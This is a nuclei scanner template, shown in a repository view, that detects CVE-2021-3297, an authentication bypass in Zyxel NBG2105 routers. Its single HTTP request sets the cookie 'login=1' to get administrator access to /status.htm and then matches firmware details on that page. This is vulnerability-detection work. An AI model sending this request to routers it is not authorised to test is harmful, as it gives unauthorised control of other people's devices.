nuclei-templates/http/cves/2021/CVE-2021-3297.yaml

51 lines
1.9 KiB
YAML
Raw Normal View History

id: CVE-2021-3297
info:
name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
author: gy741
severity: high
description: Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, unauthorized configuration changes, and potential compromise of the affected device.
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability.
reference:
- https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
- https://www.zyxel.com/us/en/support/security_advisories.shtml
- https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105
- https://nvd.nist.gov/vuln/detail/CVE-2021-3297
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2021-3297
cwe-id: CWE-287
epss-score: 0.1939
epss-percentile: 0.96173
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:o:zyxel:nbg2105_firmware:v1.00\(aagu.2\)c0:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: zyxel
product: nbg2105_firmware
tags: cve,cve2021,zyxel,auth-bypass,router
http:
- raw:
- |
GET /status.htm HTTP/1.1
Host: {{Hostname}}
Cookie: language=en; login=1
matchers-condition: and
matchers:
- type: word
words:
- "Running Time"
- "Firmware Version"
- "Firmware Build Time"
condition: and
2022-07-02 10:26:58 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022063e3bd0343c282a0777ee7560b660fb802857d90d8db48f45a676f645bede369022100cbf65f25ecaeef1a1dfd59c493ad4d4286d2d866d00c53c917c2e47af040abee:922c64590222798bb761d5b6d8e72950